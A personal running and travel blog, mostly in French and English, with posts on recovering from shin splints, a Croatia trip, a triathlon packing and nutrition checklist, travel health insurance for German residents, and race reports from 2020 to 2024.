La douleur est toujours là. Bien moins forte qu'avant. Je la sens peu ou pas en journée, sauf lorsque je descends des escaliers en début de journée. En ce qui concerne les runs, la douleur est en général présente dès les premières foulées, entre 2 et 4 sur une échelle de 10, et diminue voire disparait rapidement, tombant parfois à zéro. Je cours systématiquement avec le manchon de compression sur le mollet droit. En dehors des runs, je le porte aussi de temps en temps à la maison. Depuis quelques jours, je retente mon approche de 2021, à savoir j'enveloppe mon mollet dans une bande élastique et je serre assez fort, plus fort que si c'était le manchon de compression. C'est une bande assez large qui ne forme pas une boucle, à la base utilisée pour du pilates il me semble. On verra si c'est mieux que le manchon... En tout cas, depuis la reprise, la douleur n'augmente pas, bien qu'elle soit réapparue presque immédiatement dès le premier run après la coupure. J'ai recommencé un nouveau plan d'entrainement marathon sur 13 semaines, jusqu'à la course prévue en Octobre. Je ne compte pas l'interrompre ce coup-ci, tant que la douleur n'augmente pas, ou peu. Je m'accorderai tout le mois de Novembre off, et peut-être une bonne partie de Décembre, on verra. D'ici-là, j'espère que je me serai débarassé de cette périostite 🙏.

Update : 7 septembre 2024

Ça y est, enfin, après 5 mois, ma périostite est guerrie ! La douleur a disparu lors de la descente d'escaliers il y a 2 ou 3 semaines, après une nuit de sommeil de 11 heures... comme quoi le repos/la récupération est largement sous-estimée 😆 (ou alors aucun rapport...). La douleur a persisté à l'effort, au début et parfois en milieu de sortie, avec quelques pics brefs à 3 ou 4/10 en terme d'intensité de douleur. Et depuis une semaine et 50kms courus, aucune douleur, rien !

Au final, qu'est ce que j'ai fait pour me soigner ? À part les manchons de compressions depuis début Juillet (portés en journée mais aussi et surtout pendant les runs), pas grand chose. Ce que je mentionnais au-dessus, envelopper le mollet dans une bande de plastique, je l'ai fait 3 ou 4 fois maximum, donc clairement c'est pas ça. J'ai fait gaffe à mes heures de sommeil depuis mi-août, en essayant d'avoir le plus souvent possible des nuits proches de 8h de sommeil, alors qu'en temps normal je tourne plutôt à 6-7 heures. Ou peut-être que c'est tout simplement le temps qui a fait son oeuvre, et que 5 mois pour soigner une périostite c'est une durée normale. 🤷 Anyways, un soucis de moins 😃 !

Articles de blog

Cet excellent retour d'expérience suggère aussi une longue pause sans course à pied (3 semaines), l'utilisation de manchons de compression, de bande de kinesio tapping, et de la cryothérapie.
Voici un autre excellent article, qui d'ailleurs donne une explication au fait que ma douleur disparaissait lorsque j'accélèrais en courant. Cet article conseille le glaçage de la zone douloureuse après les séances afin d'accélèrer la guérison. L'article conclue en disant qu'aller vers des chaussures plus minimalistes peut être une solution à long terme afin d'éviter ce genre de blessure.
Un article par La Clinique Du Coureur, avec des conseils portant sur le taping et des exercices de renforcement (similaire au protocole de Stanish). La Clinique Du Coureur déconseille le glaçage (voir le PDF lié dans la page).

Croatia

2024-06-07T02:00:00+02:00

I went this year for the first time of my life to Croatia. It is a beautiful country, that luckily for me recently changed its currency and adopted the euro. Unfortunately, this change came with major price hikes, confirmed by locals. Some items saw their prices double! Of course, the inflation that is currently hitting the Euro area did not help.

Croatia is a very touristy country. I got to visit multiple places, some are traps for tourists, abandonned by locals, others maintain a good balance. Many cruise ships stop in Croatia for a few hours, so it's not uncommon to see waves of tourists fill the streets of any city in minutes. We've been told many times that July and August are hell months, there's just too many tourists, it becomes a nightmare. I went in May and it was already decently crowded.

The sea water is crystal clear and pretty warm. In May, it was definitely swimmable, the temperature must have been close to 20°C.

Traveling thoughout the country

There are many ways to explore the country and go from city to city. But I found Croatia not so train-friendly, having few options to offer. Renting a car sounded like a viable option, but we opted for ferries and buses. They have many regular ferries that travel between major coastal cities, like from Split to Dubrovnik, multiple times a day, stopping along the way at every island, for less than 50 euros. The ferries travel really fast (lots of people got sick, myself included!). Most ferries are operated by TP-line or Krilo. Some bigger ferries will accept pedestrians AND cars.

FlixBus and other local bus companies are also other popular means of transport in Croatia. Going from Zadar to the Plitvice lakes on a bus is very convenient, for instance.

Split

Split is a lovely city, with a historical city center surrounded by walls that they call a palace. It's full of history, and you'll have no problem finding a walking tour. It's fairly crowded, but it's liveable, and you'll meet plenty of locals. Prices are ok-ish: expensive for locals, but affordable compared to Dubrovnik for example.

Some scenes from Game of Thrones were shot there, so if that's your thing, you can follow a guide and embark on a GoT walking tour.

Besides the palace, there is not much to do in Split. There is a park on a hill, that offers a nice view over the city. I would recommend to spend two full days in Split, not more.

Dubrovnik

Like Split, Dubrovnik is famous for its historical city center, also surrounded by walls, that you'll pay 35 euros to visit. Speaking of which, I recommend buying a daily city pass, which costs exactly the same price (35 euros), but includes a visit of the walls.

Besides the historical city center, there is nothing of interest outside the walls. Dubrovnik was bombed and very much destroyed in the 90's, so the popularity of the city is very recent. But it has gained so much popularity in so little time that every shop owner went crazy. Prices are insane. Any main course in a restaurant is at least 15 euros, most being around 20-25 euros. Margins on drinks are also ridiculous. It's common to get a glass of "house red wine" for 8 or 10 euros (which 90% of the time will be pretty bad).

Dubrovnik is loved by old people, visiting the city in massive groups. Most restaurants are open from 8:00 in the morning until 23:00 or midnight. No locals live in the historic city center. Souvenirs are ridiculously priced too: any mug sells for 20 euros, Game of Thrones pints for 90 euros (not joking).

However, I highly recommend joining a Game of Thrones tour. They last 2 hours, are not so expensive, and will take you everywhere in the city, in major filming locations of the series (the shame stairs, the place where Geoffrey celebrated its name day, and many others).

Hvar

Hvar is the party island of Croatia. They nickname the town Hvar the "Saint-Tropez of Croatia". You'll see many young and/or rich people, well dressed at night, partying. Prices are very high there too, you can easily find cocktails for 20 euros. Just enjoy the sea and the nature, and go out at night if you're in the mood.

Zadar

Pretty nice city, quite similar to Split, albeit less touristy and more reasonably priced. Locals are very nice, the city is lively and has a few nice beaches. The historical city center is small but nice to explore. 2 maybe 3 full days there will be enough. But while you are there, you should consider spending a full day at the Plitvice lakes, since they're not far and easily reachable by car or bus.

Plitvice lakes

The Plitvice Lakes National Park is a marvel! It's a park made of multiple clear blue lakes, on different levels (different heights), waterfalls, full of thriving life. You'll see fish, snakes, birds, ducks, frogs... The color of these lakes is out of this world. And they take every measure to preserve the park and protect it. There are multiple trails one can follow, with some segments taken on boat or bus. 100% recommended.

That's it!

Triathlon: Checklist

2024-06-02T20:00:00+02:00

💧 Hydration strategy

Bike

That's something that needs to be figured weeks in advance, in case additional equipment is required. Multiple things to consider:

Grabbing bidons (water bottles) from volunteers at aid stations can be tricky, bidons are hard to grab even at low speed.
Aero bidons are not necessarily a good idea since you cannot swap the bidons with standard bidons during the ride, if you run out of water. I believe they're only appropriate for olympic distance triathlons or shorter.
Bidons can be stored in the frame (2 bidons maximum), between the aero bars (usually 1, sometimes 2 bidons) or behind the saddle (2 bidons maximum, maybe 3?).
Fully integrated hydration systems exist but the aero gain is very marginal, and those systems are expensive. Also, they need to be refilled, they cannot be swapped during the race like bidons.

Considering that it's hard to predict how much water one will drink, it's best to ensure to be able to swap empty bottles with new ones. Also, because of the difficulty of grabbing bottles, it's probably best to carry all the water/energy drinks one will need. Therefore, my recommendation would be to store two standards bidons in the frame, and one additional bottle behind the saddle for a 70.3. For a full IronMan, I'd probably consider 4 in total (2 in the frame, 2 behind the saddle). Trading empty bottles for full ones will always remain an option in case of hot weather.

Run

Grab water cups from aid stations.

🌮 Nutrition strategy

Bike

Needs: 90 grams of carbs per hour - not more (I tried...)
For example on a 70.3, with a goal time of 2h30, total needs = 90*2.5 = 225 grams

2x 950-ml water bottles with 1x Maurten Drink Mix 320 in each = 2*78g = 156g
(3x Maurten 100 gel) OR (2x Maurten 100 gel + 1 energy bar) = 3*25g = 75g
= 231g

Run

Needs: your weight in grams per hour
For example, you weight 75 kgs, aim for 75 grams of carbs per hour, or 3 Maurten 100 gels per hour.

4x Maurten 100 gels on a 70.3 if aiming for ~1h30

📅 To change on the bike weeks ahead of the race

Depends on the condition, everything listed below may not need to be replaced. Make sure to ride a few times with the new gear.

New cleats
more info
Yellow Shimano SPD-SL cleats
New brake/disc pads
more info
Classic pads, or OXiC-specific ones
New tires
more info
Mandatory: you don't want a puncture
Continental Grand Prix 5000 (not the S TR version nor the AS TR version)
Size 25-622 (ETRTO)
Amazon Bike24.
New shift cables
New chain
more info
Shimano CN-HG701-11 (116 links)
CN-HG601-11 is standard for 105,
but CN-HG701-11 is slightly better performance-wise.
New cassette
more info
Shimano 105 CS-R7000 11-speed, 11-32
Bike24
When to replace?
New chainring
more info
When to replace?
New rim tape

🧳 Things to bring on the race weekend

Allen keys and other appropriate tools
Duct tape
more info
In case you need to tape things
Scissors
A Sharpie
more info
To write on the water bottles what's inside,
and whether it's for the bike or the run.
Rubber band
more info
To hold the rear mounted bottle to the holder

📋 Things to do on Saturday

❓ Things to clarify during the briefing meeting

Can you access T1 and T2 bags on the race morning?
Where to store your after-race clothes? In the white (street wear) bag? Where to leave it?
What food is provided? What brand of gels?

🚴 Bring the bike to the transition area

Bike
more info
Make it lightweight.
Remove unnecessary equipment, such as lights.
To buy a second hand bike: Buycycle or Biked.
To get a discount from Canyon, go to a Canyon shop and do a test ride.
You'll get the bike guard for free (19.9 euros) via a code over email.
Di2 battery charged
2 CO2 cannisters with inflator, and tire levers
more info
To store in the frame
2 spare tubes and a multi tool
more info
To store in the bottom bracket box,
it would suck to drop it mid-race or forget about it during T2
and start running with it.
A mini pump (optional)
more info
Taped to the bike frame, not in the trisuit,
it would suck to drop it mid-race or forget about it during T2
and start running with it.
Glueless patches (optional)
Anti puncture liquid for tubes / sealant (optional)
more info
Interesting readings: here and there

🔵 Blue blag (transition T1 - swim ➡️ bike)

A triathlon belt with bib number
more info
To display the bib number
To be worn until the end of the race.
Bib number in the back while cycling.
Bib number on the belly while running.
A small towel
more info
To dry your feet and remove the dirt
Helmet
Glasses
more info
To be worn for both the cycling and running legs
Bike shoes
more info
Some leave them attached to the pedals, ahead of the race, ready to go.
Low cut running socks
more info
To be worn for both the cycling and running legs
Fingerless gloves

🔴 Red bag (transition T2 - bike ➡️ running)

Race running shoes with elastic laces
more info
Asics Metaspeed Sky Paris
Orca's Speed laces
A cap
more info
For style, or sun
Nutrition (4x Maurten 100 gels)
more info
During T2, you'll store nutrition in your trisuit pockets.

🛏️ Before bedtime

Fill your 3x water bottles and put them in a plastic bag
Put your swim gear in your ⚪ white bag (street wear)
Make a pile of what you need to put on first thing tomorrow morning
Write down on a sheet of paper what you need to do tomorrow morning
    - Inflate tires
    - 3x bottles + 4x gels on bike
    - GPS in blue bag
    - Flip flops / shoes in white bag
    - Airplane mode off on the watch (for HRM strap + Garmin Extended Display)
Stick this sheet on your white bag as a reminder

🏁 Race day

🩱 Things you'll wear the whole race - put on when getting up

Trisuit
more info
My favorite ones: Z3r0d Racer and Zoot's Ultra Tri P1
Anti-chafing cream
more info
Between the legs
A charged smartwatch
more info
Here are a few tips for setting up a garmin watch for a triathlon
A transponder worn on the left ankle
more info
Provided by the organization
A waterproof HRM chest strap
more info
Garmin HRM-Pro Plus
~~Aero calf sleeves~~
more info
To be a little faster on the bike.
Some will also serve as compression sleeves when running.
To be worn the whole time, under the wetsuit first.
If no wetsuit allowed, to be worn only from the cycling leg onward.
I DO NOT RECOMMEND CALF SLEEVES ANYMORE - I tried
They slip down when taking off the wetsuit and are hard to put back on.
It's best to shave one's legs.

⚪ White bag (stree wear - things for before and after the race)

Flip flops / street shoes
more info
To wear before the start of the race in the morning,
while preparing everything in the transition area.
Better than walking around barefoot.
Easy to hand back to people accompanying you.
One bottle of water
more info
While you wait for the swim
Sunscreen
more info
To apply before putting the wetsuit on
Warm clothes

🚴 On race morning ahead of the race, bring to your bike

3x water bottles filled
more info
One filled with only water,
two with 1x Maurten Drink Mix 320 in each.
On a 70.3, do not grab anything from aid stations.
Nutrition (3x Maurten 100 gels)
Some more air into your tires! Top it up with someone else's pump.

🔵 Additional item to leave in the blue bag ahead of the race

Bike computer

🏊 For swimming

Swimming cap (x2)
more info
Usually provided by the organization.
Some recommend two caps so as to "wedge" the goggles between them.
Swimming goggles
Wetsuit
more info
Optional: sometimes allowed, sometimes forbidden, sometimes mandatory.
Made for triathlon, not diving.

Videos and links

https://www.racepaceapp.com/triathlon-checklist

Traveling Outside Europe as a Resident in Germany

2024-05-29T17:00:00+02:00

As a resident in Germany, you must have (by law!) a health insurance, even if unemployed. With this insurance comes a European Health Insurance Card (EHIC), that grants you insurance in any European country plus a few (Iceland, Liechtenstein, Norway, Switzerland and the United Kingdom) "under the same conditions and at the same cost (free in some countries) as people insured in that country" (source).

But what happens when traveling outside Europe?

You're basically on your own, and it very much depends on the country you're in. Some will charge crazy amounts for any treatment or care (hello USA!), some are cheap. Also, what if you need repatriation?

Because you want to travel stress-free, I recommend taking out a private health insurance for trips abroad. For example, I am insured with TK and they offer two options, depending on how long the trips are. For trips under 60 days, the options are:

TravelPlus (TravelXN), via Envivas

It's a yearly subscription of 11.9 euros that you pay until you cancel it (you can cancel this anytime). And you're covered!

TK-Tarif Traveller, also via Envivas

It's a free contract (no charges), and it stops being free the day you need treatment abroad (but you won't pay more than 24 euros per year). It's a 3-year contract, that cannot be terminated earlier. Also, it's considered as an optional deductible tariff, meaning TK will let the Finanzamt (tax office) know that you signed up for this. The value of this "monetary benefit" is 11.90, and you'll have to state this in your Steuererklärung (tax declaration) and probably pay some tax off it every year (a couple of euros).

Der TK-Tarif Traveller ist ein Selbstbehalt-Wahltarif und enthält als Prämie eine private Auslandsreise-Krankenversicherung der Envivas Krankenversicherung AG für unbegrenzt viele Privat- und Geschäftsreisen bis zu einer Dauer von 60 Tagen. [...] Die Techniker ist gesetzlich verpflichtet, den geldwerten Vorteil des Reiseschutzes von jährlich 11,90 Euro zur Versteuerung an die Finanzbehörden zu melden.

Conclusion

I would recommend the first option, as it's very cheap, you can terminate the contract anytime, and it has nothing to do with your Steuererklärung. I would also only recommend taking out a private health insurance for trips abroad depending on your destination, how far from home it is, how expensive treatements in this country are... For the USA for instance, it's a no brainer, totally worth taking this out.

Online resources

Does my German health insurance cover me if I get sick abroad?

Spring 2024

2024-05-10T19:00:00+02:00

We're not even 2 months into spring, yet it's been a hell of a spring so far!

First of all, just a little over a month ago, I was running the Berlin half-marathon in 01:41:51, my best time ever! I ran it wearing my Asics Gel-Kayano 30. And even though I broke a personal record, I remember the last 3 or 4 kms being really hard. I was not wearing any HRM chest strap, so the numbers are probably slightly off, but my Strava reports an average heart rate of 183 bpm throughout the race, with a peak at 198 bpm in the last kilometers. Needless to say, I was not in my best form. And clearly the shoes did not help.

After that race, I had 2 other races planned in the coming weeks:

In April, the Berliner Firmenlauf (~5.5 kms)
In May, the oldest running race of Berlin, the S25 Berlin (25 kms)

So shortly after the half-marathon, I decided two things:

I needed better shoes, specifically I needed race shoes
I wanted to get more accurate heart rate numbers

I was really keen on buying the newly released Asics Metaspeed Sky Paris, but unfortunately they had been sold out almost since the day they were released. So I ended up buying the Saucony Endorphin Pro 4.

My new shoes. Pro tip: tie the Marathon knot

I had been owning a Wahoo Tickr (HRM) for a while. Actually, it was my second one. But like the first, this one had recently started showing signs of wear, specifically I'd see drops in the middle of a ride/run, it would show very low readings. That's why I was never wearing it while running. Consequently, I decided it was time to give Garmin HRMs a try, and I bought the Garmin HRM-dual chest strap.

Berliner Firmenlauf (~5.5 kms)

This race is a "company race", a race for which companies pay a hefty price so that their employees can take part. It is short (around 5.5 kms). There are many amateur runners, and very few competitive ones. The organizers claim there will be starting waves but on the race day, we all started together, in one giant disorganized mass, slow and fast runners all mixed together, with big groups of colleagues trying to stick together (understandably).

Nonetheless, I had decided I would give it my best, and aim for under 4' per kilometer. When the starting gun went off, I quickly picked up the pace and started zigzagging between looads of people, sometimes running on the sidewalk. It was the first time I was wearing my Saucony on a race, and they felt like magic. It made my run so effortless! I managed to survive a pace of 3'55"/km for more than 5 kms, and finished first out of the 62 participants of my company.

Result: 20'45" (chip time) over 5.5 kms (official distance), 5.3 kms according to Strava. Overall, 190 out of 13,170 participants.

Prior to the race, my watch was giving me an estimate of 18'56" for 5 kms. I hit 19'29", according to Strava. Close enough!

S25 Berlin (25 kms)

The Berliner Firmenlauf was only the amuse-bouche. The real challenge for me was coming in May, in the form of a 25-km race: S25 Berlin.

However, I did not fear this race much, unlike the half-marathon in April. I took it a lot less seriously. I knew I would be able to perform at least as well as I did in the half-marathon, thanks to the new shoes and my constant training. Let's say that the Berliner Firmenlauf had boosted my confidence quite significantly, and my general form was peaking in the days leading up to the race.

My Garmin race prediction for a half-marathon was 1:31:40 the night before the race. Again, it will turn out to be quite optimistic, but it still gives a rough idea of one's progression since the last race, if compared with the previous prediction.

So, like I said, the pressure was much lower for this race. The week before, I was able to sleep just fine. Only the night before was a little more... agitated 😁 but that's expected. I guess going from race to race over a short amount of time also helps relax.

Ready for race day!

Nutrition-wise, I had decided for 1 pre-race gel, and 4 during the race, roughly spaced by 5 kms.

Race day. 2 hours before, I ate 3 energy bars, 40 grams of pasta and pesto, half a banana and drank some coffee, then I took off. I showed up there almost 40 minutes before the race. Dropped my bag off, one last pitstop in the bathroom, and I'm entering my block (2nd block out of 4) 5 minutes before the start, after having warmed up. BANG! the gun goes off. I don't forget to smile for the photos and off we go!

💪

The race went overall very well. I was wearing my Garmin HRM chest strap. My heart averaged in the 160s all the time, which was great, but also a sign that I was not pushing hard enough 😅.

I had set up my watch to do a negative split, through the feature PacePro Plan: 4'40" in the first half, 4'38" in the second half was the plan. I ended up running faster than this, as my Strava tells. I broke 2 records on that day: 01:38:19 for the half-marathon (official time, Strava reports 01:36:40), and my longest distance ever run, 25 kms in 01:55:26 (official chip time)!

Entering the stadium after a long tunnel was breathtaking! I remember the feeling, running on the track, in the very stadium that welcomed the olympics of 1936 almost gave me goosebumps. What a race!

Minutes before the finish line, I still had way too much energy 😂

With hindsight, here are some lessons learned through that race:

With preparation and planning comes confidence and reduced stress. I now always make a race sheet, days ahead of races, writing down my goal pace, nutrition plan, and things to do.
I carb load only on Thursday and Friday, not on Saturday. I eat normally on that day, I simply avoid fibers and prefer for instance white pasta. Also, the week before the race, I take magnesium and potassium supplementation (Doppelherz Magnesium + Kalium Sport). Not sure if that helps at all or not... but the placebo effect is real.
🚽-wise, one of my greatest fears is a sudden need to go to the bathroom during a race. I've been trying a new "protocol" for the half-marathon and the S25 Berlin races, that worked out nicely. While carb loading the days before, I've tried changing my number 2 schedule so that on Friday I go twice. On Saturday, I again eat normally (no more carb loading) and therefore only go once on Saturday in the evening. Then comes Sunday morning. Normally, no need to go at all! But as I'm alway stressed about that, I've always managed to unload myself of a few unneeded grams, minutes before the race 😆.
Sleep-wise, I still need to improve. On any day of the year, it's almost impossible for me to get into bed before midnight. I'd like to change that on the long term, so that I can get more sleep on race days. Factoring in stress and everything, I usually never fall asleep before 2am on race days, and oftentimes wake up naturally way before my alarm clock.
My breakfast was a little too light, I was almost hungry before starting the race. Next time I should aim for a full banana and maybe a fourth energy bar.

Coming up next: the Berlin triathlon, in June!

Lessons learned après 4 ans de running

2024-04-15T01:51:00+02:00

J'ai pour ainsi dire jamais aimé courir pour courir... jusqu'à ce que le COVID-19 soit.

2020

Pas manqué, 30 mars 2020, premier run ever enregistré sur mon Strava. Pas ouf... Mais il faut bien un début à tout.

Mon nouvel intérêt n'aura qu'à moitié pris. Sur 2020, seulement 18 runs enregistrés sur Strava, avec une régularité décroissante au fur et à mesure de l'année dès fin Avril, et même carrément 3 mois sans courir du tout, d'Août à Octobre. 2020 correspond aussi à l'année où je me suis mis au vélo de route assez sérieusement, à partir d'Avril. Pédaler ou courir, mon choix a été vite fait.

Mais il semblerait que l'hiver pointant le bout de son nez aura suffit à me re-motiver un peu. 31 décembre 2020, j'enregistre mon premier 10 km ever, en 1 heures 7 minutes. Pas mal ! En tout, sur cette première année de course 2020, mon volume total aura été de... 68.5 kms 😂. Vélo : 4,272 kms.

2021

En 2021, les choses un peu plus sérieuses commencent. Tout d'abord, le volume, on passe sur 219 kms sur l'année. Certes, ridicule pour tout coureur un tant soit peu sérieux, mais cumulés avec 4,513 kms de vélos, c'est une belle progression par rapport à l'année d'avant.

2021 c'est aussi ma première blessure, une périostite, qui aura duré 10 jours. Mais surtout, 2021 c'est mon premier semi marathon, couru tout seul, dans le parc d'à côté. 21.03 kms pour être exact, couru en 1:59:41 d'après Strava. Bon c'est aussi ce run qui aura été la cause de ma périostite... Mais passons 😅.

2021 c'est aussi quelques autres PR, dont mon premier 10 kms couru en moins de 50 minutes. Globalement cette année-là, j'ai commencé à courir régulièrement proche de 5' du kilomètre. Mais je n'avais aucun notion de plan d'entraînement, zones d'effort, etc. Je courrais au feeling, en essayant d'aller un peu plus vite de temps en temps.

2022

Bim, inscription au semi-marathon de Berlin ! Temps officiel, 2 hours 0 minutes 22 secondes. Premier learning cette année-là : que ce soit la montre ou Strava sur le téléphone, bref tout ce qui a un GPS, la distance affichée en fin de course sera légèrement plus longue que la distance officielle de la course. Bon à savoir, lorsque l'on vise un temps ou un pace précis. Les 22 secondes, je m'en serais bien passées 😁.

Une semaine avant le semi, je courrais 17 kms d'une traite. Ça, cumulés aux 21 kms de la semaine suivante, auront été sans pitié : deuxième blessure, ce coup-ci une aponévrosite plantaire (ou fasciite plantaire). Deuxième learning de cette année 2022 : une augmentation soudaine et significative du volume kilométrique hebdomadaire est un facteur de blessure très important ! En tout, je me serais traîné cette blessure pendant près de 2 ans. Aujourd'hui en 2024, plus aucune douleur dans le pied, ni au talon. Mais je pense en garder des traces à vie, de temps en temps je sens que le pied reste fragile, avec parfois des sensations de post-blessure dans le pied, après des grosses sorties. Mais pas des douleurs en soi. Bref.

Retour en 2022. Après Avril et quelques tentatives de runs derrière, voyant que la douleur ne passait pas, je coupe complètement la course à pied pendant près de 3 mois. Semelles orthopédiques, séances de kiné, autant de tentatives vaines pour essayer de me soigner. La douleur persiste mais s'estompe un peu au fil des mois. Je recoure un peu pendant l'été. Re-coupure totale entre Septembre et Janvier 2023, puisque la douleur était toujours présente. Avec le recul et ce que j'ai appris depuis, couper totalement était sûrement une erreur. Le mieux aurait été de continuer, et adapter le volume à la douleur, autrement dit stopper chaque sortie dès l'apparition de la douleur, ou alors s'autoriser des seuils de douleurs par exemple jusqu'à 3/10. Aussi, changer de chaussures, et tenter des chaussures plus maximalistes, le temps de la guérison, peut-être...

2022, c'est aussi l'année où j'ai acheté ma première montre de course : la Garmin Forerunner 945.

Résultats des courses sur 2022 :

Kms courus : 233
Kms à vélo : 5,911 (dont une première participation à l'Étape du Tour de France)

2023

2023 marque l'année de mon retour, ou plutôt l'année où j'ai pour la première fois pris la course à pied au sérieux, et ce dans la durée. Mais 2023 fût aussi une année à double vitesse, avec une première moitié dédiée au vélo, et une seconde à la course à pied.

Début d'année, l'aponévrosite plantaire est toujours là mais moins forte. Douleur plus que tolérable, on dépasse rarement du 3 ou 4 sur 10. Les symptômes classiques s'estompent, en particulier la douleur dans le talon le matin au saut du lit.

J'ai quand même suffisamment mal pour que cela me décourage de m'inscrire au semi Berlin. Cependant, le jour de la course, je décide toutefois de courir mon propre semi, à côté de chez moi dans un parc, juste pour la forme. Bonnes sensations pendant la course, pas de douleur. Mais les jours suivants, la douleur revient un peu plus qu'à l'accoutumée. Pas encore fixed le man... Dommage, ça me calme pour quelques semaines

Photo prise lors de mon semi improvisé, le même jour que le semi officiel de Berlin. Avril 2023.

Presque pas de course à pied jusqu'au triathlon de Berlin, début Juin. Un peu moins de 5 kms courus à 5'09 du kilo, pas dinguo. Mais il faut croire que ça aura été un electro-choc, car après cette épreuve, je reprends la course de manière sérieuse et durable. Je laisse d'abord passer les mois de Juin et Juillet, focalisé à m'entraîner pour 2 courses de vélo : Velocity à Berlin, et l'Étape du Tour 2023. Mais dès Août, focus shift sur la course à pied !

Et à partir de maintenant, on rigole plus ! Tout d'abord, gros changements côté alimentation, et perte de 5 kgs. En parallèle, je commence à me renseigner un peu plus sur la course à pied. J'en conclus qu'il me faut des nouvelles chaussures. Bim, j'achète presque coup-sur-coup les Asics Gel Kayano 29 puis 30, ma première paire de Gel-Kayano 29 étant en fait trop petite — oui, je découvre aussi à cette époque qu'il vaut mieux acheter des chaussures une demi pointure, voire une pointure plus longue, car les pieds "s'agrandissent" pendant une sortie.

J'entreprends de commencer du renforcement musculaire et notamment de faire le protocole de Stanish plusieurs fois par semaine. De ce que j'ai lu sur Internet, c'est souvent recommandé pour combattre les fasciites plantaires.

Fin 2023, c'est aussi la période où je commence à m'intéresser aux plans d'entrainement et aux zones et types d'effort. D'abord, je commence par suivre bêtement les recommandations de workout de ma montre Garmin, de temps en temps, chose que j'avais ignorée jusque-là. Plus tard, début 2024, je finirai par suivre mon premier vrai plan. Je commence à courir "en endurance fondamentale", nouveau terme ajouté à mon lexique du coureur.

Cette fin d'année 2023 se passe tellement bien que le 16 décembre, hop là un autre semi totalement improvisé couru dans le parc à côté, en 1:53:57 s'il vous plait ! Et inscription pour le semi-marathon de Berlin en 2024 😃.

Bilan de 2023 :

Kms courus : 361 (dont les trois quarts courus après Juillet)
Kms à vélo : 6,133

2024

L'année commence sur les chapeaux de roues. Augmentation progressive de mon volume hebdomadaire, avec certaines semaines atteignant les 40 kms.

Tout d'abord, je décide de suivre un vrai plan d'entraînement. Fini l'improvisation, je m'inscris sur Campus, avec comme premier objectif de l'année le semi marathon de Berlin en Avril. Je découvre le fractionné et les sorties seuil. Rapidement, je rajoute 2 autres gros objectifs : un 25 kms en Mai, et un full marathon en fin d'année ! 😱

Février : vacances de ski. Quelques jours après, blessure lors d'une sortie longue de 11 kms en endurance fondamentale 😬. Pied gauche (encore !). Cette fois-ci, quelque chose de nouveau : une sorte de douleur à l'intérieur du pied vers l'avant, avant les orteils. La douleur apparait dès que je marche ou coure après quelques minutes, et est très prononcée dès que j'essaie de lever les orteils vers le haut. Je coupe la course à pied 3 jours, la douleur disparaît à 100%. Je reprends la course...

Mars : rebelote, après une journée de ski et un run de 8 kms le soir-même, la douleur revient subitement, et beaucoup plus fort. Les 3 ou 4 jours suivants, passés à skier mais sans running, m'auront fait souffrir, les chaussures de ski n'aidant pas à coup sûr. En rentrant, je coupe la course à pied 2 jours puis reprends progressivement, en décidant d'interrompre chaque sortie dès que mon seuil de douleur atteignait 3 ou 4 sur 10. Quelques recherches sur Internet me font penser soit à une fracture de stress métatarsienne, soit une métatarsalgie, ou une inflammation/tendinite au niveau des muscles releveurs du pied. Je décide de prendre RDV pour une IRM (toujours pas faite au moment où j'écris cet article). Finalement, 10 jours plus tard, la douleur disparaît complètement. Ma conclusion : courir et skier ne font pas bon ménage dans mon cas, ou alors je serrais trop mes chaussures de ski au niveau du dessus du pied, ce qui a fragilisé cette zone ? Quelque chose qui a aidé à la guérison (ou qui l'a accélérée ? ou alors effet placebo ?) est le fait d'avoir desserré mes lacets de chaussure de course par la suite. Depuis toujours j'avais l'habitude de plutôt bien les serrer, je sais pas trop pourquoi. Mes chaussures sont maintenant beaucoup moins serrées, de sorte à ce que je n'ai presque pas besoin de chausse-pied pour les enfiler (je les garde lacées en permanence).

Après ces 2 mini-blessures, on reprend de plus belle.

Je commence à passer des heures à n'en plus finir sur Youtube, à regarder plein de vidéos sur la course. Voici mon top des chaînes et podcasts français sur la course, par ordre de préférence :

Run Academy TV
Running Addict (ceux derrière Campus.coach)
RunWise
Podcast RMC Running
Dans la tête d'un coureur

Je me documente notamment sur comment bien gérer une course, toujours en ayant en tête le semi de Berlin, prévu pour Avril :

2 semaines avant la course, sortie test pour m'essayer à une allure de 4'55"/km pour le jour J mais aussi pour valider la tenue que je porterai. Finalement je finis en 4'53"/km et au vue de ma forme, décide que 4'50" me semble atteignable le jour de la course. J'en profite aussi pour tester le ravitaillement à allure, avec des gels Maurten. All good 👌✅.

La semaine qui précède, la pression monte, je trouve le sommeil de moins en moins facilement 😅. Je décide de noter tout ce que je dois faire d'ici à la course, afin d'au moins m'enlever le stress d'oublier quelque chose. Je commence par planifier ma semaine d'avant course :

Réduction du volume d'entrainement
Je cale toutes mes heures de levé le matin cette semaine-là sur la même heure à laquelle je me lèverai le jour de la course
Recharge glucidique les 2 ou 3 jours qui précèdent (jeudi au samedi) mais en y allant mollo le samedi quand même, pour pas être chargé le dimanche. Surtout, éviter les fibres (dont les pâtes complètes) le samedi pour s'assurer une course sans problème 😁.
S'hydrater le vendredi et le samedi matin (boire plus que d'habitude). Arrêter de trop boire dès le samedi midi, pas comme j'ai fait... pour éviter de devoir aller aux toilettes la nuit du samedi au dimanche...
Se couper les ongles des pieds plusieurs jours avant pour éviter de les casser ou de se faire mal. À ne pas faire la veille au soir, pour éviter les surprises !
J'irai récupérer mon dossard le vendredi, pour éviter la foule le samedi.

Je mets aussi au point ma stratégie de nutrition, après avoir lu les recommandations de Maurten : ça sera 1 Gel 100 Caf 15 minutes avant le départ, et 2 Gel 100 classiques pendant la course. Un au km 9.5, un au km 14.5, soit à chaque fois 1 km avant un ravitaillement d'eau, pour pouvoir "se rincer la bouche" après le gel et éviter cette sensation d'après gel pas forcément agréable. Je regarde quels autres ravitaillements en eau sont intéressants mais je décide de volontairement éviter les ravitaillements en nourriture, pour éviter tout problème gastrique qui pourrait être entraîné par un produit inconnu. Car oui, règle numéro un de la course : ne jamais tester de la nourriture, une boisson, des chaussures ou des vêtements de course pour la première fois le jour d'une course.

Je mets également au point une stratégie de course. Comme recommandé par Michel, de Run Academy TV, je me fixe plusieurs objectifs, pour éviter la déception.

Premier objectif : moins de 1 heure 40. Ambitieux. Je me dis que je vais commencer par faire les 11 premiers kms à 4'50" et tenter d'accélérer dans la seconde moitié de course (et faire ce qu'on appelle un negative split).
Second objectif : moins de 1 heure 45. Réaliste.
Troisième objectif : finir 😆.

À noter que la veille de la course, ma montre me prédisait un temps au semi de 1:38:11, basé sur mes health data et récentes sorties. On verra si la montre avait vu juste... 🙈

